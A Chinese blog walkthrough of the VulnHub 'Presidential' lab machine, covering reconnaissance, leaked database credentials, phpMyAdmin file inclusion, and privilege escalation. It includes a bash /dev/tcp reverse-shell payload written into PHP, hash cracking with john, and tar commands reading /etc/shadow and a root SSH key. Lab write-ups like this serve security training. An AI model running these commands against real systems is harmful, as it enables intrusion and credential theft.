当前位置:网站首页>vulnhub之presidential
vulnhub之presidential
2022-07-03 11:05:00 【梅_花_七】
目录
一、nmap主机发现
做一个基于ping的扫描,其他有点慢
二、端口扫描
三、服务版本发现
四、信息收集
1.主页
至于其他功能,源码处,对我们来说没有太多的作用。
五、目录扫描
挨个查看,都没反应,上面收集到了域名,绑定域名,在尝试。
1.绑定域名
2./config.php.bak
这个里面有107B的数据。在源码下我们发现了数据库的名,账号密码
六、子域名爆破
爆破出来一个database.votenow.local,绑定ip,后访问。
发现一个phpmyadmin的登陆界面,结合我们前面发现的账号密码,登录phpmyadmin。
七、phpmyadmin
1.查看版本
、
2.漏洞搜索
这里有三个漏洞,我们来使用44928.txt文件包含漏洞。
3.文件内容
先利用数据库写入文件,之后来利用文件包含执行文件
4.尝试
注意:将sessions改为session,否则不成功
前边写域名,后面加上session就ok了
八、反弹shell
退出重新登陆获得一个新的session,其余步骤和上述相通
select '<?php system('bash -i >& /dev/tcp/192.168.0.107/8888 0>&1');exit;?>'
九、john的hash值爆破
在phpmyadmin中我们还发现了一个用户名和hash值
admin $2y$12$d/nOEjKNgk/epF2BeAFaMu8hW4ae3JJk8ITyh48q97awT/G7eQ11i
尝试爆破
john hash --wordlist=rockyou.txt
Stella
su admin
并python返回一下shell
十、capability
1.查看具有capability的权限
getcap -r / 2>/dev/null
2.代表意思:
Permitted
这个集合定义了线程所能够拥有的特权的上限,是Inheritable
和Effective
集合的的超集
Effective
内核检查特权操作时,实际检查的集合(可以通过执行操作前增/删Effective
中的capabilities
,以达到临时开/关权限的功能)
3.挨个查看
找到我们admin用户可以执行的命令。tars我们可以执行。
十一、tars提权
1.读取/etc/shadow
读取压缩
tar -cf archive.tar /etc/shadow
解压缩
tar -xf archive.tar
利用里面root的hash值,找字典去碰。找到对的字典应该可以破解出来
2.读取私钥文件
和上面一样来tarS来读取文件,然后解压。放到admin的.ssh下面,然后通过ssh登录,提权成功
ssh -i id_rsa [email protected] -p 2082
拿到flag
边栏推荐
- The LINQ expression node type 'ArrayIndex' is not supported in LINQ to Entities
- Cuiyusong, CTO of youzan: the core goal of Jarvis is to make products smarter and more reliable
- Key switch: press FN when pressing F1-F12
- 机器学习 3.2 决策树模型 学习笔记(待补)
- 简单工厂和工厂方法模式
- Dynamic programming (interval DP)
- POI excel cell wrap
- Stm32hal library upgrades firmware based on flash analog U disk (detailed explanation)
- Matlab extracts numerical data from irregular txt files (simple and practical)
- Driver development based on I2C protocol
猜你喜欢
Analysis of EPS electric steering system
The tutor put forward 20 pieces of advice to help graduate students successfully complete their studies: first, don't plan to take a vacation
Yintai department store ignites the city's "night economy"
Multi dimensional monitoring: the data base of intelligent monitoring
Excel快速跨表复制粘贴
STL教程9-容器元素深拷贝和浅拷贝问题
Machine learning 3.2 decision tree model learning notes (to be supplemented)
Web security summary
外插散点数据
Web安全总结
随机推荐
How to become a senior digital IC Design Engineer (1-4) Verilog coding syntax: expression
MCDF实验1
phpcms 提示信息頁面跳轉showmessage
PHP Basics
Application of high-precision indoor positioning technology in safety management of smart factory
Internet socket (non) blocking write/read n bytes
After watching the video, AI model learned to play my world: cutting trees, making boxes, making stone picks, everything is good
导师对帮助研究生顺利完成学业提出了20条劝告:第一,不要有度假休息的打算.....
STL教程8-map
R语言使用原生包(基础导入包、graphics)中的hist函数可视化直方图(histogram plot)
How PHP solves the problem of high concurrency
Dynamic programming (interval DP)
[vtk] interpretation of source code comments of vtkwindowedsincpolydatafilter
Capturing and sorting out external Fiddler -- Conversation bar and filter [2]
剑指offer专项32-96题做题笔记
银泰百货点燃城市“夜经济”
R language uses data The table package performs data aggregation statistics, calculates window statistics, calculates the median of sliding groups, and merges the generated statistical data into the o
同事写了一个责任链模式,bug无数...
How to get started embedded future development direction of embedded
鸿蒙第三次培训(项目实训)